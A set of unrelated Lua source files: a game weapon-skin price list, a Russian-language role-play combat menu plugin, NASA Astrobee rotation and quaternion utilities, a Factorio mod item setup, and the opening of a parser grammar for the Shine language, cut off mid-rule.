WepSkins.Config.ClientWorldModels["cw_g36c"] = true WepSkins.Config.ClientWorldModels["cw_silverballer"] = true WepSkins.Config.Skins = {} -- Base WepSkins.Config.Skins["default"] = {name = "Default", path = "", price = 0} -- Camo WepSkins.Config.Skins["camo_purple"] = {name = "Purple Camo", path = "xyz/skins/camo_purple", price = 25000} WepSkins.Config.Skins["bloodshot"] = {name = "Red Camo", path = "z_easyskins/camo/bloodshot", price = 25000} WepSkins.Config.Skins["devgru"] = {name = "Camo", path = "z_easyskins/camo/devgru", price = 25000} WepSkins.Config.Skins["digital"] = {name = "Digital Camo", path = "z_easyskins/camo/digital", price = 25000} WepSkins.Config.Skins["mango"] = {name = "Mango Camo", path = "z_easyskins/camo/mango", price = 25000} WepSkins.Config.Skins["sahara"] = {name = "Sahara Camo", path = "z_easyskins/camo/sahara", price = 25000} WepSkins.Config.Skins["atacs"] = {name = "ATACS", path = "z_easyskins/camo/atacs", price = 25000} WepSkins.Config.Skins["animalprint"] = {name = "Animal Print", path = "xyz/skins/animal_print", price = 25000} -- Patterns WepSkins.Config.Skins["craze"] = {name = "Zebra", path = "z_easyskins/camo/craze", price = 50000} WepSkins.Config.Skins["dollars"] = {name = "Dollars", path = "z_easyskins/camo/dollars", price = 50000} WepSkins.Config.Skins["blackhole"] = {name = "Blackhole", path = "z_easyskins/camo/blackhole", price = 50000} WepSkins.Config.Skins["gold"] = {name = "Gold", path = "z_easyskins/camo/gold", price = 50000} WepSkins.Config.Skins["aqua"] = {name = "Aqua", path = "z_easyskins/camo/aqua", price = 50000} WepSkins.Config.Skins["wired"] = {name = "Wired", path = "z_easyskins/camo/wired", price = 50000} WepSkins.Config.Skins["flora"] = {name = "Flora", path = "z_easyskins/camo/flora", price = 50000} WepSkins.Config.Skins["dayofdead"] = {name = "Day Of The Dead", path = "z_easyskins/camo/dayofdead", price = 50000} WepSkins.Config.Skins["coyote"] = {name = "Coyote", path = "z_easyskins/camo/coyote", price = 50000} WepSkins.Config.Skins["breach"] = {name = "Breach", path = "z_easyskins/camo/breach", price = 50000} WepSkins.Config.Skins["blitz"] = {name = "Color Blitz", path = "z_easyskins/camo/blitz", price = 50000} WepSkins.Config.Skins["blackops"] = {name = "Blackops", path = "z_easyskins/camo/blackops", price = 50000} WepSkins.Config.Skins["carbon"] = {name = "Carbon", path = "xyz/skins/carbon", price = 50000} WepSkins.Config.Skins["blackice"] = {name = "Blackice", path = "xyz/skins/blackice", price = 50000} WepSkins.Config.Skins["turtleshell"] = {name = "Turtle Shell", path = "xyz/skins/turtle_shell", price = 50000} WepSkins.Config.Skins["sunset"] = {name = "Sunset", path = "xyz/skins/sunset", price = 50000} WepSkins.Config.Skins["emoji"] = {name = "Emoji", path = "xyz/skins/emoji", price = 50000} WepSkins.Config.Skins["bloodbath"] = {name = "Bloodbath", path = "xyz/skins/bloodbath", price = 50000} WepSkins.Config.Skins["pear"] = {name = "Pear", path = "xyz/skins/pear", price = 50000} WepSkins.Config.Skins["anarchy"] = {name = "Anarchy", path = "xyz/skins/anarchy", price = 50000} WepSkins.Config.Skins["green_slime"] = {name = "Green Slime", path = "xyz/skins/green_slime", price = 50000} -- Better patterns WepSkins.Config.Skins["kawai"] = {name = "Kawai", path = "z_easyskins/camo/kawai", price = 100000} WepSkins.Config.Skins["zebra"] = {name = "Rainbow Zebra", path = "z_easyskins/camo/zebra", price = 100000} WepSkins.Config.Skins["graffiti"] = {name = "Graffiti", path = "z_easyskins/camo/graffiti", price = 100000} WepSkins.Config.Skins["ronin"] = {name = "Ronin", path = "z_easyskins/camo/ronin", price = 100000} WepSkins.Config.Skins["comic"] = {name = "Comic", path = "z_easyskins/camo/comic", price = 100000} WepSkins.Config.Skins["der_riese"] = {name = "Der Riese", path = "z_easyskins/camo/der_riese", price = 100000} WepSkins.Config.Skins["burger"] = {name = "Burger", path = "xyz/skins/burger", price = 100000} WepSkins.Config.Skins["lostsouls"] = {name = "Lost Souls", path = "xyz/skins/lostsouls", price = 100000} WepSkins.Config.Skins["firesouls"] = {name = "Fiore Souls", path = "xyz/skins/firesouls", price = 100000} WepSkins.Config.Skins["tokyo"] = {name = "Tokyo", path = "xyz/skins/tokyo", price = 100000} WepSkins.Config.Skins["paintball"] = {name = "Paintball", path = "xyz/skins/paintball", price = 100000} WepSkins.Config.Skins["neoncharge"] = {name = "Neon Charge", path = "xyz/skins/neoncharge", price = 100000} WepSkins.Config.Skins["anime_sin"] = {name = "Anime Sin", path = "xyz/skins/anime_sin", price = 100000} WepSkins.Config.Skins["snacks"] = {name = "Snacks", path = "xyz/skins/snacks", price = 100000} WepSkins.Config.Skins["amongus"] = {name = "Among Us", path = "xyz/skins/amongus", price = 100000} -- Animated WepSkins.Config.Skins["matrix"] = {name = "Matrix", path = "xyz/skins/matrix", price = 250000} WepSkins.Config.Skins["orange_triangle"] = {name = "Orange Loop", path = "xyz/skins/orange_triangle", price = 250000} WepSkins.Config.Skins["shapes"] = {name = "Crazy Shapes", path = "xyz/skins/shapes", price = 250000} WepSkins.Config.Skins["blue_wave"] = {name = "Blue Wave", path = "z_easyskins/camo/blue_wave", price = 250000} WepSkins.Config.Skins["burn"] = {name = "Burn", path = "z_easyskins/camo/burn", price = 250000} WepSkins.Config.Skins["dark_matter"] = {name = "Void", path = "z_easyskins/camo/dark_matter", price = 250000} WepSkins.Config.Skins["dark_pulse"] = {name = "Void Wave", path = "z_easyskins/camo/dark_pulse", price = 250000} WepSkins.Config.Skins["dragon"] = {name = "Dragon Scales", path = "z_easyskins/camo/dragon", price = 250000} WepSkins.Config.Skins["gold_matter"] = {name = "Gold Matter", path = "z_easyskins/camo/gold_matter", price = 250000} WepSkins.Config.Skins["stars"] = {name = "Stars", path = "z_easyskins/camo/stars", price = 250000} WepSkins.Config.Skins["ripple"] = {name = "Ripple", path = "z_easyskins/camo/ripple", price = 250000} WepSkins.Config.Skins["plasma"] = {name = "Plasma", path = "xyz/skins/plasma", price = 250000} -- Extra WepSkins.Config.Skins["lego"] = {name = "Lego", path = "xyz/skins/lego", price = 1000000} WepSkins.Config.Skins["mcdirt"] = {name = "Dirt", path = "xyz/skins/mcdirt", price = 1000000}
local bows = { "nut_bow_long", "nut_crossbow", "nut_bow_nilf", "nut_bow_ash" } function PLUGIN:SetupBattleMenu(menu) if LocalPlayer():battle_hasTarget(100) then local target = LocalPlayer():battle_hasTarget(100) --if !LocalPlayer():battle_beingAttacked() then menu:addButton("Удар", function() netstream.Start("battle_attack", target) end) menu:addButton("Удар (прицельный)", function(this) local limb = { ["Голова"] = "голову", ["Шея"] = "шею", ["Пах"] = "пах", ["Живот"] = "живот", ["Грудь"] = "грудь", ["Правая рука"] = "правую руку", ["Левая рука"] = "левую руку", ["Правая нога"] = "правую ногу", ["Левая нога"] = "левую ногу" } local limbs = this:Add("DMenu") for k, v in pairs(limb) do limbs:AddOption(k, function() netstream.Start("battle_attack_aim", target, v, k) end) end limbs:Open() end) menu:addButton("Остановить", function() netstream.Start("battle_stop", target) end) --end end menu:addButton("Реакция", function() netstream.Start("battle_reflex") end) menu:addButton("Уворот", function() netstream.Start("battle_dodge") end) if LocalPlayer():battle_getWeapon() > 0 or LocalPlayer():battle_wearingShield() then menu:addButton("Блок", function() netstream.Start("battle_block") end) end menu:addButton("Побег", function() netstream.Start("battle_leave") end) if table.HasValue(bows, LocalPlayer():GetActiveWeapon():GetClass()) and LocalPlayer():battle_hasTarget(1500) and !LocalPlayer():battle_hasTarget(150) and LocalPlayer():GetActiveWeapon():Ammo1() > 0 then local target = LocalPlayer():battle_hasTarget(1500) menu:addButton("Выстрел", function() netstream.Start("battle_shoot", target) end) menu:addButton("Выстрел (прицельный)", function(this) local limb = { ["Голова"] = "голову", ["Шея"] = "шею", ["Пах"] = "пах", ["Живот"] = "живот", ["Грудь"] = "грудь", ["Правая рука"] = "правую руку", ["Левая рука"] = "левую руку", ["Правая нога"] = "правую ногу", ["Левая нога"] = "левую ногу" } local limbs = this:Add("DMenu") for k, v in pairs(limb) do limbs:AddOption(k, function() LocalPlayer():GetActiveWeapon():TakePrimaryAmmo(1) netstream.Start("battle_shoot_aim", target, v, k) end) end limbs:Open() end) end end function PLUGIN:SetupBattleMenu_attack(menu) local player = LocalPlayer() menu:addLabel("Реакция", math.Round(player:getChar():getAttrib("stm", 0) / 3 + player:getChar():getAttrib("str", 0) / 3 + player:getChar():getAttrib("end", 0) / 3)) menu:addLabel("Остановить", math.Round(player:getChar():getAttrib("str", 0) / 3.5 + player:getChar():getAttrib("stm", 0) / 3.5 + player:getChar():getAttrib("melee", 0) / 3.5)) menu:addLabel("Точность (Рукопаш.)", math.Round(15 + player:getChar():getAttrib("melee", 0) / 1.5 + player:getChar():getAttrib("stm", 0) / 3)) menu:addLabel("Точность (Одноруч.)", math.Round(10 + player:getChar():getAttrib("onehanded", 0) / 1.5 + player:getChar():getAttrib("stm", 0) / 3)) menu:addLabel("Точность (Двуруч.)", math.Round(player:getChar():getAttrib("twohanded", 0) / 1.5 + player:getChar():getAttrib("stm", 0) / 3)) menu:addLabel("Точность (Стрельба)", math.Round(15 + player:getChar():getAttrib("bow", 0) / 2 + player:getChar():getAttrib("stm", 0) / 4 + player:getChar():getAttrib("str", 0) / 4)) menu:addLabel("Крит (Рукопаш.)", math.Round(player:getChar():getAttrib("melee", 0) / 20).."%") menu:addLabel("Крит (Одноруч.)", math.Round(player:getChar():getAttrib("onehanded", 0) / 20).."%") menu:addLabel("Крит (Двуруч.)", math.Round(player:getChar():getAttrib("twohanded", 0) / 20).."%") menu:addLabel("Крит (Стрельба)", math.Round(player:getChar():getAttrib("bow", 0) / 20).."%") end function PLUGIN:SetupBattleMenu_defence(menu) local player = LocalPlayer() menu:addLabel("Здоровье", player:battle_getHealthPoints().."/"..player:battle_getMaxHealthPoints()) menu:addLabel("Проворство", math.Round(player:battle_getDodgeChance() / player:getChar():getData("ArmorType", 1))) --menu:addLabel("Побег", math.Round(player:battle_getDodgeChance() / player:getChar():getData("ArmorType", 1))) menu:addLabel("Блок (Рукопаш.)", math.Round(15 + player:getChar():getAttrib("melee", 0)/2 + player:getChar():getData("end", 0)/5 + player:getChar():getData("str", 0)/5)) menu:addLabel("Блок (Одноруч.)", math.Round(15 + player:getChar():getAttrib("onehanded", 0)/2 + player:getChar():getData("stm", 0)/5 + player:getChar():getData("str", 0)/5)) menu:addLabel("Блок (Двуруч.)", math.Round(15 + player:getChar():getAttrib("twohanded", 0)/2 + player:getChar():getData("stm", 0)/5 + player:getChar():getData("str", 0)/5)) menu:addLabel("Блок (Щиты)", math.Round(25 + player:getChar():getAttrib("shield", 0)/2 + player:getChar():getAttrib("end", 0)/5 + player:getChar():getData("str", 0)/5)) menu:addLabel("Броня (Колющ.)", (LocalPlayer():battle_getArmorDefence()[DMG_CLUB] or 0 ).."%") menu:addLabel("Броня (Режущ.)", (LocalPlayer():battle_getArmorDefence()[DMG_SLASH] or 0 ).."%") menu:addLabel("Броня (Дроб.)", (LocalPlayer():battle_getArmorDefence()[DMG_CRUSH] or 0 ).."%") end function PLUGIN:DrawCharInfo(client, character, info) local COLOR_HP = Color((255 / client:battle_getMaxHealthPoints()) * (client:battle_getMaxHealthPoints() - client:battle_getHealthPoints()), (255 / client:battle_getMaxHealthPoints()) * client:battle_getHealthPoints(), 0, 255) info[#info + 1] = {"Очки Здоровья: "..client:battle_getHealthPoints().."/".. client:battle_getMaxHealthPoints(), COLOR_HP} end hook.Add("BuildHelpMenu", "nutBattleHelp", function(tabs) tabs["Бой"] = function(node) local body = "<font size='+3'>Основы</font><p>Чтобы выбрать какое-либо действие, нужно нажать клавишу 'С', глядя на цель, если это атака. При нажатии одной из кнопок действий, в чат будет отправлено число, определяющее силу данного действия. Все рассчеты происходят автоматически без вмешательства игрока или администратора.</p> <p>РП бой происходит по ходам. Поочередность ходов определяется действием 'Реакция' по убыванию выпавших чисел. Вмешаться в уже идущий бой можно только после двух кругов действий (когда каждый участник хода выполнил действие в свой ход).</p>" body = body.."<font size='+3'>Атака и защита</font><p>При атаке одним персонажем другого происходит сравнение двух значений - Точности атаки и Проворства или Стойкости обороняющегося. Если Точность больше Проворства или Стойкости, то атака успешно проходит, нанося урон обороняющемуся. Если Проворство или Стойкость больше значения Точности, то обороняющийся уклонился или заблокировал удар. При равных значениях действия повторяются.</p>" body = body.."<font size='+3'>Урон</font><p>При успешных атаках противника Ваш персонаж будет получать ранения разной степени тяжести. Следует в полной мере отыгрывать полученные ранения, исходя из количества нанесенного урона. </p><p>0 - 4 - мелкая царапина или синяк.</p><p>4 - 8 - царапина или слабый ушиб.</p><p>8 - 12 - кровоточащая рана или ушиб.</p><p>12 - 16 - глубокая рана или сильный ушиб.</p><p>16 - 20 - глубокая рана с повреждением кости, перелом.</p><p>20+ - отсечение конечности, взрыв ее вследствие дробящего урона, очень сильное повреждение. В любом из случаев конечность выводится из строя.</p>" body = body.."<font size='+3'>Побег</font><p>Персонаж может сбежать из боя, использовав действие 'Побег'. ОДИН из участников боя может попробовать остановить его, использовав действие 'Остановить'. При успешном побеге персонаж покидает бой. При неудачном побеге бой продолжается. Персонаж может попробовать сбежать снова только через 3 круга ходов.</p><p>Также действие 'Остановить' можно использовать для остановки бегущего персонажа. Дабы убежать, он должен использовать действие 'Побег'.</p>" body = body.."<font size='+3'>Блок</font><p>Персонаж может попробовать заблокировать удар с помощью своего оружия, щита или рук. При блоке без оружия урон наносится в левую или правую руку персонажа. Кидается /roll, больше 50 - правая.</p>" body = body.."<font size='+3'>Прицельная атака</font><p>Вы можете совершить прицельный удар в выбранную часть тела оппонента. В этом случае Вы гарантированно попадете в цель, но показатель точности атаки будет снижен.</p>" return body end end)
-- Copyright (c) 2017, United States Government, as represented by the -- Administrator of the National Aeronautics and Space Administration. -- -- All rights reserved. -- -- The Astrobee platform is licensed under the Apache License, Version 2.0 -- (the "License"); you may not use this file except in compliance with the -- License. You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, WITHOUT -- WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the -- License for the specific language governing permissions and limitations -- under the License. -- A set of utilities to manage 3D rotations require "matrix" require "string" local matrix = require 'matrix' function rot_matrix_z(angle) return matrix{ {math.cos(angle), -math.sin(angle), 0.0}, {math.sin(angle), math.cos(angle), 0.0}, {0.0, 0.0, 1.0} } end function rot_matrix_y(angle) return matrix{ {math.cos(angle), 0.0, math.sin(angle)}, {0.0, 1.0, 0.0}, {-math.sin(angle), 0.0, math.cos(angle)} } end function rot_matrix_x(angle) return matrix{ {1.0, 0.0, 0.0}, {0.0, math.cos(angle), -math.sin(angle)}, {0.0, math.sin(angle), math.cos(angle)} } end function rot_matrix(angle, axis) rot = {} rot['X'] = rot_matrix_x rot['Y'] = rot_matrix_y rot['Z'] = rot_matrix_z return rot[string.upper(axis)](angle) end function matrix_equal(m1, m2) l1, c1 = matrix.size(m1) l2, c2 = matrix.size(m2) if (l1 ~= l2 or c1 ~= c2) then return false end for i=1,l1 do for j=1,c1 do if ( math.abs(m1[i][j]-m2[i][j]) > 1E-6 ) then return false end end end return true end --[[ Create a rotation matrix from ZYX Euler angles ZYX Euler angles represent a rotation around the moving axes in this order: - rotate around Z by the angle alpha - rotate around Y' (rotated Y) by the angle beta - rotate around X" (rotated X) by the angle gamma Note that this is the exact same transform around the fixed axes (XYZ static): - rotate around X by the angle gamma - rotate around Y by the angle beta - rotate around Z by the angle alpha --> RXYZ(gamma, beta, alpha) = RZ(alpha)*RY(beta)*RX(gamma) --]] function rot_matrix_from_euler(alpha, beta, gamma) ca = math.cos(alpha) cb = math.cos(beta); cg = math.cos(gamma); sa = math.sin(alpha); sb = math.sin(beta); sg = math.sin(gamma); return matrix{ {ca*cb, ca*sb*sg-sa*cg, ca*sb*cg+sa*sg}, {sa*cb, sa*sb*sg+ca*cg, sa*sb*cg-ca*sg}, {-sb, cb*sg, cb*cg} } end euler2rmat = rot_matrix_from_euler -- normalize a quaternion function quat4_normalize(q) n = math.sqrt(q.x*q.x+q.y*q.y+q.z*q.z+q.w*q.w) return quat4(q.x/n, q.y/n, q.z/n, q.w/n) end --[[ Create a rotation matrix from a quaternion --]] function rot_matrix_from_quat4(q) qn = quat4_normalize(q) x = qn.x y = qn.y z = qn.z s = qn.w qx2 = qn.x*qn.x qy2 = qn.y*qn.y qz2 = qn.z*qn.z qw2 = qn.w*qn.w return matrix { {1-2*qy2-2*qz2, 2*x*y-2*s*z, 2*x*z+2*s*y}, {2*x*y+2*s*z, 1-2*qx2-2*qz2, 2*y*z-2*s*x}, {2*x*z-2*s*y, 2*y*z+2*s*x, 1-2*qx2-2*qy2} } end quat2rmat = rot_matrix_from_quat4 --[[ Create a rotation matrix from a quaternion (computer graphics solution by Shoemake 1994) --]] function quat4_from_rot_matrix(m) tr = m[1][1] + m[2][2] + m[3][3] q = quat4(0,0,0,1) if ( tr >= 0 ) then s4 = 2.0 * math.sqrt( tr + 1.0 ) -- s4 = 4*qw q.w = s4 / 4.0 q.x = ( m[3][2] - m[2][3] ) / s4 q.y = ( m[1][3] - m[3][1] ) / s4 q.z = ( m[2][1] - m[1][2] ) / s4 elseif ( m[1][1]>m[2][2] and m[1][1]>m[3][3]) then s4 = 2.0* math.sqrt( 1.0 + m[1][1] - m[2][2] - m[3][3] ) -- s4 = 4*qx q.w = ( m[3][2] - m[2][3] ) / s4 q.x = s4 / 4.0 q.y = ( m[1][2] + m[2][1] ) / s4 q.z = ( m[3][1] + m[1][3] ) / s4 elseif ( m[2][2] > m[3][3] ) then s4 = 2.0 * math.sqrt( 1.0 + m[2][2] - m[1][1] - m[3][3] ) -- s4 = 4*qy q.w = ( m[1][3] - m[3][1] ) / s4 q.x = ( m[1][2] + m[2][1] ) / s4 q.y = s4 / 4.0 q.z = ( m[2][3] + m[3][2] ) / s4 else s4 = 2.0 * math.sqrt( 1.0 + m[3][3] - m[1][1] - m[2][2]) -- s4 = 4*qz q.w = ( m[2][1] - m[1][2] ) / s4 q.x = ( m[3][1] + m[1][3] ) / s4 q.y = ( m[2][3] + m[3][2] ) / s4 q.z = s4 / 4.0 end return q end rmat2quat= quat4_from_rot_matrix function printquat(q) print("quat(x,y,z,w)=(" .. q.x .. "," .. q.y .. "," .. q.z .. "," .. q.w ..")") end
function momoIRTweak.item.InitScienceMaterials() local item = momoIRTweak.item item.vial = momoIRTweak.item.NewScienceMaterialsItem("momo-science-vial") item.spp1 = momoIRTweak.item.NewScienceMaterialsItem("momo-science-processor-pack-1") item.sppMilitary = momoIRTweak.item.NewScienceMaterialsItem("momo-science-processor-pack-military") item.spp2 = momoIRTweak.item.NewScienceMaterialsItem("momo-science-processor-pack-2") item.sppProduction = momoIRTweak.item.NewScienceMaterialsItem("momo-science-processor-pack-production") item.spp3 = momoIRTweak.item.NewScienceMaterialsItem("momo-science-processor-pack-3") item.scienceBlueprint1 = momoIRTweak.item.NewScienceMaterialsItem("momo-science-blueprint-1") item.scienceBlueprint2 = momoIRTweak.item.NewScienceMaterialsItem("momo-science-blueprint-2") item.scienceBlueprint3 = momoIRTweak.item.NewScienceMaterialsItem("momo-science-blueprint-3") item.productionBox = momoIRTweak.item.NewScienceMaterialsItem("momo-production-box") item.productionBox2 = momoIRTweak.item.NewScienceMaterialsItem("momo-production-box-2") item.scienceComputer1 = momoIRTweak.item.NewScienceMaterialsBaseItem("momo-science-computer-mk1", momoIRTweak.dir.baseIconPath .. "32/momo-science-computer-mk1") item.scienceComputer2 = momoIRTweak.item.NewScienceMaterialsBaseItem("momo-science-computer-mk2", momoIRTweak.dir.baseIconPath .. "32/momo-science-computer-mk2") item.scienceComputer3 = momoIRTweak.item.NewScienceMaterialsBaseItem("momo-science-computer-mk3", momoIRTweak.dir.baseIconPath .. "32/momo-science-computer-mk3") item.gpu = momoIRTweak.item.NewScienceMaterialsItem("momo-science-gpu") end
--[=[ Copyright (C) 2013-2014 Richard Hundt and contributors. See Copyright Notice in shine ]=] local lpeg = require('lpeg') local util = require('shine.lang.util') local defs = require('shine.lang.tree') local re = require('shine.lang.re') lpeg.setmaxstack(1024) local patt = [=[ chunk <- (%2 => topline) {| <shebang>? s (<stmt> (<sep> s <stmt>)* <sep>?)? s (!. / %1 => error) |} -> chunk shebang <- '#!' (!<nl> .)* lcomment <- "--" (!<nl> .)* <nl> bclose <- ']' =eq ']' / (<nl> / .) <bclose> bcomment <- ('--[' {:eq: (!'[' .)* :} '[' <bclose>) cclose <- ':' =mk ':' / (<nl> / .) <cclose> ccomment <- ('--:' {:mk: (!(':'/'(').)* :} ('(' (!')'.)* ')')? ':' <cclose>) comment <- <bcomment> / <ccomment> / <lcomment> idsafe <- !(%alnum / "_" / "!" / "?" / "$") nl <- %nl -> incline s <- (<comment> / <nl> / !%nl %s)* S <- (<comment> / <nl> / !%nl %s)+ ws <- <nl> / %s hs <- (!%nl %s)* HS <- (!%nl %s)+ word <- (%alpha / "_" / "$" / "?") (%alnum / "_" / "$" / "!" / "?")* reserved <- ( "local" / "function" / "nil" / "true" / "false" / "return" / "end" / "break" / "goto" / "not" / "do" / "for" / "in" / "and" / "or" / "while" / "repeat" / "until" / "if" / "elseif" / "else" / "then" ) <idsafe> keyword <- ( <reserved> / "class" / "module" / "continue" / "throw" / "super" / "import" / "export" / "try" / "catch" / "finally" / "is" / "as" / "include" / "grammar" / "given" / "case" / "macro"/ "with" ) <idsafe> sep <- <bcomment>? (<nl> / ";" / <lcomment>) / <ws> <sep>? escape <- {~ ('\' ( 'x' %xdigit %xdigit / 'u' %xdigit %xdigit %xdigit %xdigit / %digit (%digit %digit?)? / . )) -> escape ~} astring <- ( "'''" {~ (<nl> / ("\\" -> "\") / ("\'" -> "'") / {!"'''" .})* ~} "'''" ) / ( "'" {~ (<nl> / ("\\" -> "\") / ("\'" -> "'") / {!"'" .})* ~} "'" ) qstring <- {| ('"""' ( <raw_expr> / {~ (<escape> / <nl> / !(<raw_expr> / '"""') .)+ ~} )* '"""') / ('"' ( <raw_expr> / {~ (<escape> / <nl> / !(<raw_expr> / '"') .)+ ~} )* '"') |} -> rawString raw_expr <- ( "%{" s <expr> s "}" ) -> rawExpr string <- <astring> octal <- { "0o" [0-7]+ } heximal <- { "0x" %xdigit+ } decexp <- ("e"/"E") "-"? %digit+ double <- ( %digit+ ("." !"." %digit+ <decexp>? / <decexp>) ) -> double integer <- (( <heximal> / <octal> / { %digit+ } ) {'LL' / 'ULL'}?) -> integer number <- <double> / <integer> boolean <- ( {"true"/"false"} <idsafe> ) -> boolean literal <- ( <number> / <string> / <boolean> ) -> literal in <- "in" <idsafe> end <- "end" <idsafe> do <- "do" <idsafe> export_stmt <- ( "export" <idsafe> s {| <ident_list> |} ) -> exportStmt import_stmt <- ( "import" <idsafe> s ({<import_macro_keyword>?} (<import_from> / <import_path>)) -> importStmt ) import_macro_keyword <- "macro" <idsafe> s import_path <- {| <import_path_expr> |} -> importPath import_path_expr <- ( <ident> "." <import_path_expr> / {:names: {| "{" s <import_name> (s "," s <import_name>)* s "}" |} :} / {:names: {| {| <ident> |} |} :} ) import_from <- ( {| <import_name> (s "," s <import_name>)* |} s "from" <idsafe> s <expr> ) -> importFrom import_name <- {| <ident> (hs "=" hs <ident>)? |} stmt <- (('' -> curline) ( <import_stmt> / <export_stmt> / <if_stmt> / <while_stmt> / <repeat_stmt> / <for_stmt> / <for_in_stmt> / <do_stmt> / <decl_stmt> / <macro_decl> / <return_stmt> / <try_stmt> / <throw_stmt> / <break_stmt> / <continue_stmt> / <given_stmt> / <label_stmt> / <goto_stmt> / <expr_stmt> )) -> stmt stmt_list <- {| (<stmt> (<sep> s <stmt>)* <sep>?)? |} label_stmt <- ( <ident> ':' !':' ) -> labelStmt goto_stmt <- ( 'goto' <idsafe> hs <ident> ) -> gotoStmt break_stmt <- ( "break" <idsafe> ) -> breakStmt continue_stmt <- ( "continue" <idsafe> ) -> continueStmt return_stmt <- ( "return" <idsafe> {| (hs <expr_list>)? |} ) -> returnStmt throw_stmt <- ( "throw" <idsafe> hs <expr> ) -> throwStmt try_stmt <- ( "try" <idsafe> s <block_stmt> {| <catch_clause>* |} (s "finally" <idsafe> s <block_stmt>)? s (<end> / %1 => error) ) -> tryStmt catch_clause <- ( s "catch" <idsafe> hs <ident> (hs "if" <idsafe> s <expr>)? hs "then" <idsafe> s <block_stmt> s ) -> catchClause decl_stmt <- ( {| (<decorator> (s <decorator>)* s)? |} ( <local_coro> / <local_func> / <local_decl> / <coro_decl> / <func_decl> / <class_decl> / <module_decl> / <grammar_decl> ) ) -> declStmt decorator <- ( "@" <term> ) -> decorator guarded_ident <- ( <ident> hs "is" <idsafe> s <expr> ) -> guardedIdent local_decl <- ( "local" <idsafe> %1 s {| <bind_left> (s "," s <bind_left>)* |} (s ({"="} s {| <expr_list> |} / {"in"} <idsafe> s <expr>))? ) -> localDecl local_func <- ( "local" <idsafe> s "function" <idsafe> s <ident> s <func_head> s <func_body> ) -> localFuncDecl local_coro <- ( "local" <idsafe> s "function*" <idsafe> s <ident> s <func_head> s <func_body> ) -> localCoroDecl macro_decl <- ( "macro" <idsafe> s <ident> s ( {"="} s <ident> / "(" s {| <expr_list> |} s ")" s <stmt_list> s (<end> / %1 => error) ) ) -> macroDecl bind_left <- ( <array_patt> / <table_patt> / <guarded_ident> / <term> ) array_patt <- ( "[" s {| <bind_left> (s "," s <bind_left>)* |} s ("]" / %1 => error) ) -> arrayPatt table_sep <- ( hs (","/";"/<nl>) ) table_patt <- ( "{" s {| <table_patt_pair> (<table_sep> s <table_patt_pair>)* <table_sep>? |} s ("}" / %1 => error) ) -> tablePatt table_patt_pair <- {| ( {:name: <name> :} / {:expr: "[" s <expr> s "]" :} ) s "=" s {:value: <bind_left> :} / {:value: <bind_left> :} |} ident_list <- ( <ident> (s "," s <ident>)* ) expr_list <- ( <expr> (s "," s <expr>)* ) qname <- ( (<ident> (s {"."} s <qname> / s {"::"} s <qname>)) / <ident> ) func_decl <- ( "function" <idsafe> s {| <qname> |} s <func_head> s <func_body> ) -> funcDecl func_head <- ( "(" s {| <param_list>? |} s ")" ) func_expr <- ( "function" <idsafe> s <func_head> s <func_body> / (<func_head> / {| |}) s "=>" ( hs {| <expr_list> |} / s <block_stmt> s (<end> / %1 => error) / %1 => error ) ) -> funcExpr func_body <- <block_stmt> s (<end> / %1 => error) coro_expr <- ( "function*" s <func_head> s <func_body> / "*" <func_head> s "=>" s (hs <expr> / <block_stmt> s <end> / %1 => error) ) -> coroExpr coro_decl <- ( "function*" s {| <qname> |} s <func_head> s <func_body> ) -> coroDecl coro_prop <- ( ({"get"/"set"} <idsafe> HS &<ident> / '' -> "init") "*" <ident> s <func_head> s <func_body> ) -> coroProp include_stmt <- ( "include" <idsafe> s {| <expr_list> |} ) -> includeStmt module_decl <- ( ({"local"} <idsafe> s / '' -> "package") "module" <idsafe> s <ident> s <class_body> s (<end> / %1 => error) ) -> moduleDecl class_decl <- ( ({"local"} <idsafe> s / '' -> "package") "class" <idsafe> s <ident> (s <class_heritage>)? s <class_body> s (<end> / %1 => error) ) -> classDecl class_body <- {| (<class_body_stmt> (<sep> s <class_body_stmt>)* <sep>?)? |} -> classBody class_body_stmt <- (('' -> curline) ( <class_member> / <include_stmt> / !<return_stmt> <stmt> )) -> stmt class_member <- ( {| (<decorator> (s <decorator>)* s)? |} ( <coro_prop> / <prop_defn> ) ) -> classMember class_heritage <- ( "extends" <idsafe> s <expr> / {| |} ) prop_defn <- ( ({"get"/"set"} <idsafe> HS &<ident> / '' -> "init") <ident> s <func_head> s <func_body> ) -> propDefn param <- {| {:name: <ident> :} (s "is" <idsafe> s {:guard: <expr> :})? (s "=" s {:default: <expr> :})? |} param_list <- ( <param> s "," s <param_list> / <param> s "," s <param_rest> / <param> / <param_rest> ) param_rest <- {| "..." {:name: <ident>? :} {:rest: '' -> 'true' :} |} block_stmt <- ( {| (<stmt> (<sep> s <stmt>)* <sep>?)? |} ) -> blockStmt if_stmt <- ( "if" <idsafe> s <expr> s ("then" <idsafe> / %1 => error) s <block_stmt> s ( "else" <if_stmt> / "else" <idsafe> s <block_stmt> s (<end> / %1 => error) / (<end> / %1 => error) ) ) -> ifStmt given_stmt <- ( "given" <idsafe> s <expr> ({| <given_case>+ |} / %1 => error) (s "else" <idsafe> s <block_stmt>)? s (<end> / %1 => error) ) -> givenStmt given_case <- ( s "case" <idsafe> s ( <array_patt> / <table_patt> / <expr> ) {| (s "if" <idsafe> s <expr>)? |} s "then" <idsafe> s <block_stmt> ) -> givenCase for_stmt <- ( "for" <idsafe> s <ident> s "=" s <expr> s "," s <expr> (s "," s <expr> / ('' -> '1') -> literalNumber) s <loop_body> ) -> forStmt for_in_stmt <- ( "for" <idsafe> s {| <ident_list> |} s <in> s <expr> s <loop_body> ) -> forInStmt loop_body <- <do> s <block_stmt> s (<end> / %1 => error) do_stmt <- <loop_body> -> doStmt while_stmt <- ( "while" <idsafe> s <expr> s <loop_body> ) -> whileStmt repeat_stmt <- ( "repeat" <idsafe> s <block_stmt> s ("until" <idsafe> s <expr> / %1 => error) ) -> repeatStmt ident <- ( !<keyword> { <word> } ) -> identifier name <- ( !<reserved> { <word> } ) -> identifier primary <- (('' -> curline) ( <coro_expr> / <func_expr> / <nil_expr> / <super_expr> / <comp_expr> / <table_expr> / <array_expr> / <regex_expr> / <ident> / <literal> / <qstring> / (("(" s <expr> s (")" / %1 => error)) -> parenExpr) )) term <- ( <primary> {| ( s {'.' / '::'} s <name> / { "[" } s <expr> s ("]" / %1 => error) / { "(" } s {| <expr_list>? |} s (")" / %1 => error) )* ( {~ (hs &['"[{] / HS) -> 